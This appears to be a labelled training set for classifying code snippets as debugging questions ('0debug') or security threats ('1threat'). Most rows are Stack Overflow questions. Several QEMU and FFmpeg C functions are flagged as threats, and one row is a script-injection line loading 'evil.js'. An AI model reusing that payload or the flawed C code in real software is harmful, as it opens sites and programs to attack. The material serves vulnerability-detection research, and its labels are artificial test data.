problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
How to access the VM created by docker's HyperKit? : <p><a href="https://docs.docker.com/docker-for-mac/">Docker for Mac</a> uses a Linux VM created by <a href="https://github.com/docker/HyperKit/">HyperKit</a> for storing and running containers on Mac.</p>
<p>With Docker Toolbox, I can just open VirtualBox and access the docker-machine VM. But with Docker for Mac, how do I access the VM created by HyperKit?</p>
| 0debug |
How to find longest substring using Regular Expression in PHP : I have the following array:
$array = array("6", "66", "67", "68", "69", "697", "698", "699");
I have the following strings:
"69212345", "6209876544", "697986546"
I want to find the array element which matches longest part from beginning of the string, i.e.
for "69212345" array value "69" will be selected.
for "6209876544" array value "6" will be selected.
for "697986546" array value "697" will be selected.
Please help me how can I achieve this? | 0debug |
iOS 11 customise search bar in navigation bar : <p>I want to change the color of the text and icon in the iOS 11 searchbar when it is embedded in the navigation bar. So placeholder text, search text and search icon.</p>
<p><a href="https://i.stack.imgur.com/sDDJ0.png" rel="noreferrer"><img src="https://i.stack.imgur.com/sDDJ0.png" alt="enter image description here"></a></p>
<pre><code>if #available(iOS 11.0, *) {
navigationController?.navigationBar.prefersLargeTitles = false
let searchController = UISearchController(searchResultsController: nil)
navigationItem.searchController = searchController
navigationItem.hidesSearchBarWhenScrolling = false
searchController.searchBar.placeholder = "Suchen"
searchController.searchBar.tintColor = .white
}
</code></pre>
<p>As you can see in the image, the text is grey on a deep blue background, which looks ugly. I want to text and icon to be at least white. (changing the blue background color also does not work really good, see <a href="https://stackoverflow.com/questions/45997996/ios-11-uisearchbar-in-uinavigationbar">my other question</a>)</p>
<p>The only thing which works is changing the color of the blinking cursor and the "cancel" button, which is done with the .tintColor property.</p>
<p>Solutions which seems to work in iOS 10 and below seem not work anymore in iOS 11, so please post only solutions which you know working in iOS 11. Thanks.</p>
<p>Maybe I miss the point about this "automatic styling" in iOS 11. Any help is appreciated.</p>
| 0debug |
parsing a string looking at multiple delimiters : <p>I am trying to parse a string into:</p>
<ul>
<li>Remove initial "lunch" word</li>
<li>Split the rest into days of week and their associated food item</li>
</ul>
<p>The input comes in just as a string in this format:</p>
<p><code>var s = 'lunch monday: chicken and waffles, tuesday: mac and cheese, wednesday: salad';</code></p>
<p>And my goal is to split into:</p>
<p><code>[monday, chicken and waffles, tuesday, mac and cheese, wednesday, salad]</code></p>
<p>I am using <code>s = s.split(' ').splice(1, s.length-1).join(' ').split(':');</code></p>
<p>Which gets me:</p>
<p><code>["monday", " chicken and waffles, tuesday", " mac and cheese, wednesday", " salad"]</code></p>
<p>Obviously it's splitting on the <code>:</code> only, keeping the <code>,</code> there. I've tried using regex <code>split(":|\\,");</code> to split on <code>:</code> OR <code>,</code> but this does not work.</p>
<p>Any thoughts?</p>
| 0debug |
ValueError: Could not interpret input 'index' when using index with seaborn lineplot : <p>I want the use the index of a pandas DataFrame as x value for seaborn and is raised a value error.
A small test example:</p>
<pre><code>import pandas as pd
import seaborn as sns
sns.lineplot(x='index',y='test',hue='test2',data=pd.DataFrame({'test':range(9),'test2':range(9)}))
</code></pre>
<p>It raises:</p>
<pre><code>ValueError: Could not interpret input 'index'
</code></pre>
<p>is it not possible to use the index as x values? What am I doing wrong?
Python 2.7, seaborn 0.9</p>
| 0debug |
static uint64_t do_cvttq(CPUAlphaState *env, uint64_t a, int roundmode)
{
uint64_t frac, ret = 0;
uint32_t exp, sign, exc = 0;
int shift;
sign = (a >> 63);
exp = (uint32_t)(a >> 52) & 0x7ff;
frac = a & 0xfffffffffffffull;
if (exp == 0) {
if (unlikely(frac != 0)) {
goto do_underflow;
}
} else if (exp == 0x7ff) {
exc = FPCR_INV;
} else {
frac |= 0x10000000000000ull;
shift = exp - 1023 - 52;
if (shift >= 0) {
if (shift < 64) {
ret = frac << shift;
}
if (shift >= 11 && a != 0xC3E0000000000000ull) {
exc = FPCR_IOV | FPCR_INE;
}
} else {
uint64_t round;
shift = -shift;
if (shift < 63) {
ret = frac >> shift;
round = frac << (64 - shift);
} else {
do_underflow:
round = 1;
}
if (round) {
exc = FPCR_INE;
switch (roundmode) {
case float_round_nearest_even:
if (round == (1ull << 63)) {
ret += (ret & 1);
} else if (round > (1ull << 63)) {
ret += 1;
}
break;
case float_round_to_zero:
break;
case float_round_up:
ret += 1 - sign;
break;
case float_round_down:
ret += sign;
break;
}
}
}
if (sign) {
ret = -ret;
}
}
env->error_code = exc;
return ret;
}
| 1threat |
static int curl_open(BlockDriverState *bs, QDict *options, int flags,
Error **errp)
{
BDRVCURLState *s = bs->opaque;
CURLState *state = NULL;
QemuOpts *opts;
Error *local_err = NULL;
const char *file;
double d;
static int inited = 0;
if (flags & BDRV_O_RDWR) {
error_setg(errp, "curl block device does not support writes");
return -EROFS;
}
opts = qemu_opts_create(&runtime_opts, NULL, 0, &error_abort);
qemu_opts_absorb_qdict(opts, options, &local_err);
if (local_err) {
error_propagate(errp, local_err);
goto out_noclean;
}
s->readahead_size = qemu_opt_get_size(opts, "readahead", READ_AHEAD_SIZE);
if ((s->readahead_size & 0x1ff) != 0) {
error_setg(errp, "HTTP_READAHEAD_SIZE %zd is not a multiple of 512",
s->readahead_size);
goto out_noclean;
}
file = qemu_opt_get(opts, "url");
if (file == NULL) {
error_setg(errp, "curl block driver requires an 'url' option");
goto out_noclean;
}
if (!inited) {
curl_global_init(CURL_GLOBAL_ALL);
inited = 1;
}
DPRINTF("CURL: Opening %s\n", file);
s->url = g_strdup(file);
state = curl_init_state(s);
if (!state)
goto out_noclean;
s->accept_range = false;
curl_easy_setopt(state->curl, CURLOPT_NOBODY, 1);
curl_easy_setopt(state->curl, CURLOPT_HEADERFUNCTION,
curl_header_cb);
curl_easy_setopt(state->curl, CURLOPT_HEADERDATA, s);
if (curl_easy_perform(state->curl))
goto out;
curl_easy_getinfo(state->curl, CURLINFO_CONTENT_LENGTH_DOWNLOAD, &d);
if (d)
s->len = (size_t)d;
else if(!s->len)
goto out;
if ((!strncasecmp(s->url, "http:
|| !strncasecmp(s->url, "https:
&& !s->accept_range) {
pstrcpy(state->errmsg, CURL_ERROR_SIZE,
"Server does not support 'range' (byte ranges).");
goto out;
}
DPRINTF("CURL: Size = %zd\n", s->len);
curl_clean_state(state);
curl_easy_cleanup(state->curl);
state->curl = NULL;
aio_timer_init(bdrv_get_aio_context(bs), &s->timer,
QEMU_CLOCK_REALTIME, SCALE_NS,
curl_multi_timeout_do, s);
s->multi = curl_multi_init();
curl_multi_setopt(s->multi, CURLMOPT_SOCKETDATA, s);
curl_multi_setopt(s->multi, CURLMOPT_SOCKETFUNCTION, curl_sock_cb);
#ifdef NEED_CURL_TIMER_CALLBACK
curl_multi_setopt(s->multi, CURLMOPT_TIMERDATA, s);
curl_multi_setopt(s->multi, CURLMOPT_TIMERFUNCTION, curl_timer_cb);
#endif
qemu_opts_del(opts);
return 0;
out:
error_setg(errp, "CURL: Error opening file: %s", state->errmsg);
curl_easy_cleanup(state->curl);
state->curl = NULL;
out_noclean:
g_free(s->url);
qemu_opts_del(opts);
return -EINVAL;
}
| 1threat |
I have to detect the end of line in a file tou count the number of comma separated strings in a line : I have a file which looks like this.
2,1,4,6,7
1,2,3,6,5
Now i have to count the the digits in a single line ignoring the comma. For eg the first line has 5 digits so does the second line. The no of digits can vary in each line. I used getline with comma delimeter. But then still i dont know when the line ends. The code ihave written will give me the count for whole file. All i want is a way to count the digits in a single line. How do i do it?
numberofdigits =0;
while(!friendsFile.eof()){
getline(friendsFile,counts,',');
intcounts = stoi(counts);
cout << intcounts;
numberofdigits++;
}
| 0debug |
Selenium Web Driver script for login page.. Got an error please help me anyone : My Code:
_______________________________________________________
package pak0310;
import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.firefox.FirefoxDriver;
public class class0310 {
public static void main(String[] args) {
// objects and variables instantiation
WebDriver driver = new FirefoxDriver();
String appUrl = "https://accounts.google.com";
// launch the firefox browser and open the application url
driver.get(appUrl);
// maximize the browser window
driver.manage().window().maximize();
// declare and initialize the variable to store the expected title of the webpage.
String expectedTitle = " Sign in - Google Accounts ";
// fetch the title of the web page and save it into a string variable
String actualTitle = driver.getTitle();
// compare the expected title of the page with the actual title of the page and print the result
if (expectedTitle.equals(actualTitle))
{
System.out.println("Verification Successful - The correct title is displayed on the web page.");
}
else
{
System.out.println("Verification Failed - An incorrect title is displayed on the web page.");
}
// enter a valid username in the email textbox
WebElement username = driver.findElement(By.id("Email"));
username.clear();
username.sendKeys("TestSelenium");
// enter a valid password in the password textbox
WebElement password = driver.findElement(By.id("Passwd"));
password.clear();
password.sendKeys("password123");
WebElement SignInButton = driver.findElement(By.id("signIn"));
SignInButton.click();
// close the web browser
driver.close();
System.out.println("Test script executed successfully.");
// terminate the program
System.exit(0);
}
}
______________________________________
Error:
Exception in thread "main" java.lang.IllegalStateException: The path to the driver executable must be set by the webdriver.gecko.driver system property; for more information, see https://github.com/mozilla/geckodriver. The latest version can be downloaded from https://github.com/mozilla/geckodriver/releases
at com.google.common.base.Preconditions.checkState(Preconditions.java:754)
at org.openqa.selenium.remote.service.DriverService.findExecutable(DriverService.java:124)
at org.openqa.selenium.firefox.GeckoDriverService.access$100(GeckoDriverService.java:41)
at org.openqa.selenium.firefox.GeckoDriverService$Builder.findDefaultExecutable(GeckoDriverService.java:115)
at org.openqa.selenium.remote.service.DriverService$Builder.build(DriverService.java:329)
at org.openqa.selenium.firefox.FirefoxDriver.toExecutor(FirefoxDriver.java:207)
at org.openqa.selenium.firefox.FirefoxDriver.<init>(FirefoxDriver.java:103)
at org.openqa.selenium.firefox.FirefoxDriver.<init>(FirefoxDriver.java:99)
at pak0310.class0310.main(class0310.java:22)
...
| 0debug |
How to set conversation message and time in same row like whatsapp android? : [![enter image description here][1]][1]I created whatsapp chat layout. I dont know how to set message and delivery time in same chat bubble? Which layout is better to wrapping the text when its size was big? Please help me
[1]: https://i.stack.imgur.com/xMchT.png | 0debug |
Line number in file : <p>I'm having some problem with getting line number.</p>
<p>Here is what I got : </p>
<pre><code> var lines = File.ReadLines(fileNameData, Encoding.Default);
foreach (string line in lines)
{
if (line.Contains("()"))
{
MessageBox.Show(line );
}
}
</code></pre>
<p>Which show me </p>
<pre><code> MessageBox.Show(line );
</code></pre>
<p>So it's shows me lanes which contains (), and it works correctly.
Is there any possibitity to get this line number.</p>
<pre><code> MessageBox.Show(line + lineIndex);
</code></pre>
<p>Does anyone know how to accomplish that?</p>
| 0debug |
Passing react text field input values as parameters to a method : <p>I have the below input fields of which I need to get the entered inputs and pass it to the onClick event of the button shown below.</p>
<pre><code><input type="text" style={textFieldStyle} name="topicBox" placeholder="Enter topic here..."/>
<input type="text" style = {textFieldStyle} name="payloadBox" placeholder="Enter payload here..."/>
<button value="Send" style={ buttonStyle } onClick={this.publish.bind(this,<value of input field 1>,<value of input field2>)}>Publish</button><span/>
</code></pre>
<p>I have a method called publish which takes two string arguments. In place of those strings, I need to pass the values entered in the input fields. How can I achieve this without storing the values in states? I do not want to store the input field values in state variables. Any help would be much appreciated.</p>
| 0debug |
Error: Cannot find module 'webpack/lib/node/NodeTemplatePlugin' : <p>Got this Error after running webpack. Webpack is installed globally and I'm running Node</p>
<pre><code>PS D:\Projects\ng2-admin-master> ng serve
Cannot find module 'webpack/lib/node/NodeTemplatePlugin'
Error: Cannot find module 'webpack/lib/node/NodeTemplatePlugin'
at Function.Module._resolveFilename (module.js:469:15)
at Function.Module._load (module.js:417:25)
at Module.require (module.js:497:17)
at require (internal/module.js:20:19)
at Object.<anonymous> (D:\Projects\ng2-admin-master\node_modules\html-webpack-plugin\lib\compiler.js:11:26)
at Module._compile (module.js:570:32)
at Object.Module._extensions..js (module.js:579:10)
at Module.load (module.js:487:32)
at tryModuleLoad (module.js:446:12)
at Function.Module._load (module.js:438:3)
at Module.require (module.js:497:17)
at require (internal/module.js:20:19)
at Object.<anonymous> (D:\Projects\ng2-admin-master\node_modules\html-webpack-plugin\index.js:7:21)
at Module._compile (module.js:570:32)
at Object.Module._extensions..js (module.js:579:10)
at Module.load (module.js:487:32)
PS D:\Projects\ng2-admin-master>
</code></pre>
| 0debug |
Difference between pip3 and python3 -m pip : <p>I am trying to install some packages using pip and python3. I am using MacOS, so by default when I run pip, it uses my version of Python 2.</p>
<p>I have been able to install a package in python 3 by using:</p>
<pre><code>$ pip3 install package_name
</code></pre>
<p>However, I am able to do the same by (at least it seems):</p>
<pre><code>$ python3 -m pip install package_name
</code></pre>
<p>I wonder whether or not <code>pip3</code> and <code>python3 -m pip</code> have the same effect.</p>
| 0debug |
static void ide_atapi_cmd_read_pio(IDEState *s, int lba, int nb_sectors,
int sector_size)
{
s->lba = lba;
s->packet_transfer_size = nb_sectors * sector_size;
s->elementary_transfer_size = 0;
s->io_buffer_index = sector_size;
s->cd_sector_size = sector_size;
s->status = READY_STAT;
ide_atapi_cmd_reply_end(s);
}
| 1threat |
how does the value of variable get changed through swap function? : <p>Here I have two swap functions</p>
<pre><code>void kswap(int* a, int* b)
{
int* temp = a;
a = b;
b = temp;
}
void kswap(int* a, int* b)
{
int temp = *a;
*a = *b;
*b = temp;
}
</code></pre>
<p>The value only changed inside of the first function,
<br>and the second function change the value permanently..</p>
<p>Can anyone tell me the different between two functions?
I thought as both functions take pointer type through parameter, the value would be changed through both functions..</p>
| 0debug |
How can I send an SMS for free with python? : <p>I am trying to find a free API that allows me to send an SMS for free. I have not started programming the software yet, in case you needed to know</p>
<p>I have been searching online, but I can only find ones that cost money</p>
| 0debug |
static bool is_sector_request_lun_aligned(int64_t sector_num, int nb_sectors,
IscsiLun *iscsilun)
{
assert(nb_sectors < BDRV_REQUEST_MAX_SECTORS);
return is_byte_request_lun_aligned(sector_num << BDRV_SECTOR_BITS,
nb_sectors << BDRV_SECTOR_BITS,
iscsilun);
}
| 1threat |
Is there any method to convert seconds to LocalDateTime or ZonedDateTime object in java 8 : <p>I have a long value of seconds using which i want to build LocalDateTime object. I could not find direct method which can take long variable and build LocalDateTime object. Please help. I am using java 8.</p>
| 0debug |
static uint64_t megasas_queue_read(void *opaque, target_phys_addr_t addr,
unsigned size)
{
return 0;
}
| 1threat |
conflicting implementations of trait `std::ops::Drop` for type `Struct<_>` : > **TL;DR** https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=99952dfdc8dab353992d2681de6b6f58
> **Full version** https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=38d0c934cb7e55b868d73bd2dde94454
I don't quite understand why this doesn't work:
```rs
pub trait State {}
pub trait WithFinal: State {}
pub struct Machine<T: State> {
pub state: T,
error: Option<fn(&Event, &T)>,
transition: Option<fn(&T, &T, Event)>, // fn(¤t_state, &previous_state)
}
impl<T: WithFinal> Drop for Machine<T> {
fn drop(&mut self) {}
}
```
```console
Compiling scdlang v0.1.0 (/home/wildan/Projects/OSS/scdlang)
error[E0367]: The requirement `T: statechart::WithFinal` is added only by the Drop impl.
--> src/main.rs:92:5
|
92 | / impl<T: WithFinal> Drop for Machine<T> {
93 | | fn drop(&mut self) {}
94 | | }
| |_____^
|
note: The same requirement must be part of the struct/enum definition
--> src/main.rs:74:5
|
74 | / pub struct Machine<T: State> {
75 | | pub state: T,
76 | | error: Option<fn(&Event, &T)>,
77 | | transition: Option<fn(&T, &T, Event)>, // fn(¤t_state, &previous_state)
78 | | }
| |_____^
error: aborting due to previous error
For more information about this error, try `rustc --explain E0367`.
error: Could not compile `scdlang`.
To learn more, run the command again with --verbose.
```
I thought it should be working because `WithFinal` extend trait `State`
However, either these 2 `impl` work just fine:
```rs
trait DropLike {
fn drop(&mut self);
}
impl<T: WithFinal> DropLike for Machine<T> {
fn drop(&mut self) {}
}
impl<T: State> Drop for Machine<T> {
fn drop(&mut self) {}
}
``` | 0debug |
R keras package Error: Python module tensorflow.contrib.keras.python.keras was not found : <p>I have <code>keras</code> installed with <code>devtools</code> from GitHub in R and TensorFlow installed in Python. </p>
<p>However when I run an example Keras command like:</p>
<pre><code>model <- keras_model_sequential()
</code></pre>
<p>I get the following:</p>
<blockquote>
<p>Error: Python module tensorflow.contrib.keras.python.keras was not
found.</p>
<pre><code>Detected Python configuration:
python: C:\Python35\python.exe
libpython: C:/Python35/python35.dll
pythonhome: C:\Python35
version: 3.5.0 (v3.5.0:374f501f4567, Sep 13 2015, 02:27:37) [MSC v.1900 64 bit (AMD64)]
Architecture: 64bit
numpy: C:\Python35\lib\site-packages\numpy
numpy_version: 1.13.0
tensorflow: C:\Python35\lib\site-packages\tensorflow
python versions found:
C:\Python35\python.exe
C:\Python27\\python.exe
C:\Python35\\python.exe
C:\Python36\\python.exe
</code></pre>
</blockquote>
| 0debug |
static inline void RENAME(hyscale)(SwsContext *c, uint16_t *dst, int dstWidth, const uint8_t *src, int srcW, int xInc,
const int16_t *hLumFilter,
const int16_t *hLumFilterPos, int hLumFilterSize,
uint8_t *formatConvBuffer,
uint32_t *pal, int isAlpha)
{
void (*toYV12)(uint8_t *, const uint8_t *, int, uint32_t *) = isAlpha ? c->alpToYV12 : c->lumToYV12;
void (*convertRange)(uint16_t *, int) = isAlpha ? NULL : c->lumConvertRange;
src += isAlpha ? c->alpSrcOffset : c->lumSrcOffset;
if (toYV12) {
toYV12(formatConvBuffer, src, srcW, pal);
src= formatConvBuffer;
}
if (!c->hyscale_fast) {
c->hScale(dst, dstWidth, src, srcW, xInc, hLumFilter, hLumFilterPos, hLumFilterSize);
} else {
c->hyscale_fast(c, dst, dstWidth, src, srcW, xInc);
}
if (convertRange)
convertRange(dst, dstWidth);
}
| 1threat |
Check if a value exists in two or more arrays : <p>I'm trying to check user input value against two or arrays to see if the value inputed by the user equals a value in one of the arrays. Based on which array the input value equals to, I want to display a specific alert message.</p>
<p>So far I have this:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var zip = document.getElementById('zip').value;
var zone1 = ['11220', '11223', '11224', '11225', '11226','11228'];
var zone2 = ['10038', '10001'];</code></pre>
</div>
</div>
</p>
<p>So if the user enters ZIP code 11220, I would like to display a message: "Price: $50". If the user enters 10038, I would like the message "Price: $75".</p>
<p>What's the easiest and most efficient way to do this?</p>
| 0debug |
void timer_mod_ns(QEMUTimer *ts, int64_t expire_time)
{
QEMUTimerList *timer_list = ts->timer_list;
bool rearm;
qemu_mutex_lock(&timer_list->active_timers_lock);
timer_del_locked(timer_list, ts);
rearm = timer_mod_ns_locked(timer_list, ts, expire_time);
qemu_mutex_unlock(&timer_list->active_timers_lock);
if (rearm) {
timerlist_rearm(timer_list);
}
}
| 1threat |
How to exclude a key from an interface in TypeScript : <p>In TypeScript, you can combine two interface types like this</p>
<pre><code>interface Foo {
var1: string
}
interface Bar {
var2: string
}
type Combined = Foo & Bar
</code></pre>
<p>Instead of combining keys, I want to exclude keys from one interface to another. Is there anyway you can do it in TypeScript?</p>
<p>The reason is, I have an HOC, which manages a property value for other wrapped component like this</p>
<pre><code>export default function valueHOC<P> (
Comp: React.ComponentClass<P> | React.StatelessComponent<P>
): React.ComponentClass<P> {
return class WrappedComponent extends React.Component<P, State> {
render () {
return (
<Comp
{...this.props}
value={this.state.value}
/>
)
}
}
</code></pre>
<p>With that I can write</p>
<pre><code>const ValuedComponent = valueHOC(MyComponent)
</code></pre>
<p>then</p>
<pre><code><ValuedComponent />
</code></pre>
<p>but the problem is, the returned component type is also using the props type from given component, so TypeScript will complain and ask me to provide the <code>value</code> prop. As a result, I will have to write something like</p>
<pre><code><ValuedComponent value="foo" />
</code></pre>
<p>Which the value will not be used anyway. What I want here is to return an interface without specific keys, I want to have something like this</p>
<pre><code>React.ComponentClass<P - {value: string}>
</code></pre>
<p>Then the <code>value</code> will not be needed in the returned component. Is it possible in TypeScript for now?</p>
| 0debug |
To run the Flask and Django application : I don't understand why if I want to run Flask application I need
(venv) $ export FLASK_APP=microblog.py
(venv) $ flask run
But if I want to run Django application I only
(venv) $ python manage.py runserver
without `export DJANGO_APP=microblog.py`
Why? Why I need the export app in the first case, but in the second case I don't need? | 0debug |
Debouncer in Polymer 2.0 : <p>Simple question, but no documentation is to be found on the subject : is there a debouncer in Polymer 2.0? If so, how can it be used?
<code>this.debounce</code> was an instance method in 1.0, but it appears to have disappeared.</p>
<p>Thanks in advance!</p>
| 0debug |
static int extract_header(AVCodecContext *const avctx,
const AVPacket *const avpkt) {
const uint8_t *buf;
unsigned buf_size;
IffContext *s = avctx->priv_data;
int palette_size;
if (avctx->extradata_size < 2) {
av_log(avctx, AV_LOG_ERROR, "not enough extradata\n");
return AVERROR_INVALIDDATA;
palette_size = avctx->extradata_size - AV_RB16(avctx->extradata);
if (avpkt) {
int image_size;
if (avpkt->size < 2)
return AVERROR_INVALIDDATA;
image_size = avpkt->size - AV_RB16(avpkt->data);
buf = avpkt->data;
buf_size = bytestream_get_be16(&buf);
if (buf_size <= 1 || image_size <= 1) {
av_log(avctx, AV_LOG_ERROR,
"Invalid image size received: %u -> image data offset: %d\n",
buf_size, image_size);
return AVERROR_INVALIDDATA;
} else {
buf = avctx->extradata;
buf_size = bytestream_get_be16(&buf);
if (buf_size <= 1 || palette_size < 0) {
av_log(avctx, AV_LOG_ERROR,
"Invalid palette size received: %u -> palette data offset: %d\n",
buf_size, palette_size);
return AVERROR_INVALIDDATA;
if (buf_size > 8) {
s->compression = bytestream_get_byte(&buf);
s->bpp = bytestream_get_byte(&buf);
s->ham = bytestream_get_byte(&buf);
s->flags = bytestream_get_byte(&buf);
s->transparency = bytestream_get_be16(&buf);
s->masking = bytestream_get_byte(&buf);
if (s->masking == MASK_HAS_MASK) {
if (s->bpp >= 8) {
avctx->pix_fmt = PIX_FMT_RGB32;
av_freep(&s->mask_palbuf);
s->mask_buf = av_malloc((s->planesize * 32) + FF_INPUT_BUFFER_PADDING_SIZE);
if (!s->mask_buf)
s->mask_palbuf = av_malloc((2 << s->bpp) * sizeof(uint32_t) + FF_INPUT_BUFFER_PADDING_SIZE);
if (!s->mask_palbuf) {
s->bpp++;
} else if (s->masking != MASK_NONE && s->masking != MASK_HAS_TRANSPARENT_COLOR) {
av_log(avctx, AV_LOG_ERROR, "Masking not supported\n");
return AVERROR_PATCHWELCOME;
if (!s->bpp || s->bpp > 32) {
av_log(avctx, AV_LOG_ERROR, "Invalid number of bitplanes: %u\n", s->bpp);
return AVERROR_INVALIDDATA;
} else if (s->ham >= 8) {
av_log(avctx, AV_LOG_ERROR, "Invalid number of hold bits for HAM: %u\n", s->ham);
return AVERROR_INVALIDDATA;
av_freep(&s->ham_buf);
av_freep(&s->ham_palbuf);
if (s->ham) {
int i, count = FFMIN(palette_size / 3, 1 << s->ham);
int ham_count;
const uint8_t *const palette = avctx->extradata + AV_RB16(avctx->extradata);
s->ham_buf = av_malloc((s->planesize * 8) + FF_INPUT_BUFFER_PADDING_SIZE);
if (!s->ham_buf)
ham_count = 8 * (1 << s->ham);
s->ham_palbuf = av_malloc((ham_count << !!(s->masking == MASK_HAS_MASK)) * sizeof (uint32_t) + FF_INPUT_BUFFER_PADDING_SIZE);
if (!s->ham_palbuf) {
av_freep(&s->ham_buf);
if (count) {
memset(s->ham_palbuf, 0, (1 << s->ham) * 2 * sizeof (uint32_t));
for (i=0; i < count; i++) {
s->ham_palbuf[i*2+1] = 0xFF000000 | AV_RL24(palette + i*3);
count = 1 << s->ham;
} else {
count = 1 << s->ham;
for (i=0; i < count; i++) {
s->ham_palbuf[i*2] = 0xFF000000;
s->ham_palbuf[i*2+1] = 0xFF000000 | av_le2ne32(gray2rgb((i * 255) >> s->ham));
for (i=0; i < count; i++) {
uint32_t tmp = i << (8 - s->ham);
tmp |= tmp >> s->ham;
s->ham_palbuf[(i+count)*2] = 0xFF00FFFF;
s->ham_palbuf[(i+count*2)*2] = 0xFFFFFF00;
s->ham_palbuf[(i+count*3)*2] = 0xFFFF00FF;
s->ham_palbuf[(i+count)*2+1] = 0xFF000000 | tmp << 16;
s->ham_palbuf[(i+count*2)*2+1] = 0xFF000000 | tmp;
s->ham_palbuf[(i+count*3)*2+1] = 0xFF000000 | tmp << 8;
if (s->masking == MASK_HAS_MASK) {
for (i = 0; i < ham_count; i++)
s->ham_palbuf[(1 << s->bpp) + i] = s->ham_palbuf[i] | 0xFF000000;
return 0;
| 1threat |
How does angular "$uibModalInstance.close(data)" works? : <p>The official documentation of AngularJS does not contain any thing that describes how <code>$uibModalInstance.close</code> works, in the following code fragment, <code>scope.close</code> is a method used to close the modal window and pass an object to the caller controller</p>
<pre class="lang-js prettyprint-override"><code>var app = angular.module('myApp');
app.controller('ModalController', ['$uibModalInstance', modalControllerFn]);
function modalControllerFn($uibModalInstance) {
var scope = this;
// some data object
scope.data = {key1: "value1", key2: "value2"};
scope.close = function() {
$uibModalInstance.close(scope.data);
}
}
</code></pre>
<h3>Question (1)</h3>
<p>Does passing anything belonging to the modal scope using <code>$uibModalInstance.close</code> (non-literal value, i.e: <code>scope.x</code>) prevents angular garbage collection from destroying the entire modal scope? is this a scenario for causing memory leaks?</p>
<h3>Question (2)</h3>
<p>How does angular <code>$uibModalInstance.close(data)</code> exactly works?</p>
| 0debug |
c#: if It can be shortened : It can be shortened the following command
if (ürün_kısakod.Text != "")
{
komut.Parameters.Add("@kısakod", SqlDbType.SmallInt, 5).Value = Int16.Parse(ürün_kısakod.Text);
}
else
{
komut.Parameters.Add("@kısakod", SqlDbType.SmallInt, 5).Value = DBNull.Value;
} | 0debug |
Using List/Tuple/etc. from typing vs directly referring type as list/tuple/etc : <p>What's the difference of using <code>List</code>, <code>Tuple</code>, etc. from <code>typing</code> module:</p>
<pre><code>from typing import Tuple
def f(points: Tuple):
return map(do_stuff, points)
</code></pre>
<p>As opposed to referring to Python's types directly:</p>
<pre><code>def f(points: tuple):
return map(do_stuff, points)
</code></pre>
<p>And when should I use one over the other?</p>
| 0debug |
static void vnc_async_encoding_end(VncState *orig, VncState *local)
{
orig->tight = local->tight;
orig->zlib = local->zlib;
orig->hextile = local->hextile;
orig->zrle = local->zrle;
orig->lossy_rect = local->lossy_rect;
} | 1threat |
document.write('<script src="evil.js"></script>'); | 1threat |
static void gen_slbmfev(DisasContext *ctx)
{
#if defined(CONFIG_USER_ONLY)
gen_inval_exception(ctx, POWERPC_EXCP_PRIV_REG);
#else
if (unlikely(ctx->pr)) {
gen_inval_exception(ctx, POWERPC_EXCP_PRIV_REG);
return;
}
gen_helper_load_slb_vsid(cpu_gpr[rS(ctx->opcode)], cpu_env,
cpu_gpr[rB(ctx->opcode)]);
#endif
}
| 1threat |
How do I install new fonts in Ionic 4? : <p>Does anyone know how to update the font for Ionic 4? </p>
<p>I tried adding the aileron.woff to assets/fonts and putting this in the variables.scss to no avail.</p>
<pre><code> src: url('../assets/fonts/aileron.woff') format('woff');
</code></pre>
| 0debug |
Why does one not use IOU for training? : <p>When people try to solve the task of semantic segmentation with CNN's they usually use a softmax-crossentropy loss during training (see <a href="http://www.cv-foundation.org/openaccess/content_cvpr_2015/html/Long_Fully_Convolutional_Networks_2015_CVPR_paper.html" rel="noreferrer" title="FCN Longquot;">Fully conv. - Long</a>). But when it comes to comparing the performance of different approaches measures like intersection-over-union are reported.</p>
<p>My question is why don't people train directly on the measure they want to optimize? Seems odd to me to train on some measure during training, but evaluate on another measure for benchmarks.</p>
<p>I can see that the IOU has problems for training samples, where the class is not present (union=0 and intersection=0 => division zero by zero). But when I can ensure that every sample of my ground truth contains all classes, is there another reason for not using this measure?</p>
| 0debug |
Sed command to edit a txt file doesn't work : I'm not a developer or anything close to IT, I'm a medical student, I'm just trying to use tasker to edit an xml file using sed shell command.
So I was testing on txt file and the command was the following:
"" sed -i 's+<boolean name="EnablePreviewAll" value="false"/>+<boolean name="EnablePreviewAll" value="true"/>+' /storage/emulated/0/basel.txt ""
It doesn't give me an error but the value doesn't change at all.
(I'm using Termux with root access) | 0debug |
Reading images in python : <p>I am trying to read a <code>png</code> image in python. The <code>imread</code> function in <code>scipy</code> is being <a href="https://docs.scipy.org/doc/scipy/reference/generated/scipy.ndimage.imread.html#scipy.ndimage.imread" rel="noreferrer">deprecated</a> and they recommend using <code>imageio</code> library.</p>
<p>However, I am would rather restrict my usage of external libraries to <code>scipy</code>, <code>numpy</code> and <code>matplotlib</code> libraries. Thus, using <code>imageio</code> or <code>scikit image</code> is not a good option for me. </p>
<p>Are there any methods in python or <code>scipy</code>, <code>numpy</code> or <code>matplotlib</code> to read images, which are not being deprecated?</p>
| 0debug |
Play GIF smoothly same as yeay app : <p>I have converted Video to GIF using AnimatedGIFEncoder and getting frames for GIF, but it is not working smoothly like YEAY app and NSGIF Library of iOS. I want to play GIF smoothly like play video. What should I do?</p>
<p>Thanks in advance!</p>
| 0debug |
in html / css how can i use two stuff having the same rel "stylesheet"??? (like what i wrote down) : skip thiss
fdl;;;;;;;;;;;;;;;;;gksjfoiowlfyh fhsa yqa yted
ay ted tdg
its my first time posting here i got suck
it asks for more details!
i just have a small question sry for alot of confusion
help me understand how to get to defferent links of css with same (rel) like "stylesheet"
<!-- begin snippet: js hide: false console: true babel: false -->
<!-- language: lang-css -->
li:hover {color: green;}
.nothing {color: purple;}
p {font-family:monospace;}
.new_font {
font-family: 'Tangerine', serif;
font-size: 48px;}
body { text-shadow: 8px 8px 8px #aaa;}
<!-- language: lang-html -->
<!DOCTYPE html>
<html lang="en">
<head>
<title>Notes File</title>
<link rel="stylesheet" href="style.css";>
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Tangerine">
</head>
<body>
<h1>My HTML notes.</h1>
<br>
<strong>Markup</strong> <em>is a way of writing and structuring your HTML </em><br>
<p>This is a story<br> all about how
<mark>my life</mark> <sub>got flipped,</sub>
